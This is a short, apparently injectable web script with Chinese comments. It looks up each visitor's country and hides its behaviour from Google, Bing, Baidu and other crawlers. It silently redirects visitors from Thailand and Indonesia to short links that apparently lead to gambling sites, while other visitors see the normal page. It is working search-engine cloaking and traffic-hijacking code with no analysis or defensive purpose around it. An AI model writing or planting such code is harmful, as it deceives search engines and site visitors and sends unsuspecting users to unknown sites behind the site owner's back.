<script>
document.addEventListener("DOMContentLoaded", function () {
    // 检测国家（使用 IP API）
    fetch("https://ipapi.co/json/")
    .then(res => res.json())
    .then(data => {
        let country = data.country; // 返回国家代码：如 TH / ID / CN / US 等

        // 不对搜索引擎跳转（保护收录）
        let ua = navigator.userAgent.toLowerCase();
        let bots = ["googlebot", "bingbot", "yandex", "baiduspider", "duckduckbot", "ahrefsbot"];
        let isBot = bots.some(b => ua.includes(b));
        if (isBot) return;

        // 泰国跳
        if (country === "TH") {
            window.location.replace("https://t.ly/UFA899/");
            return;
        }

        // 印尼跳
        if (country === "ID") {
            window.location.replace("https://t.ly/YN8055/");
            return;
        }

        // 其他国家默认显示当前页面
    });
});
</script>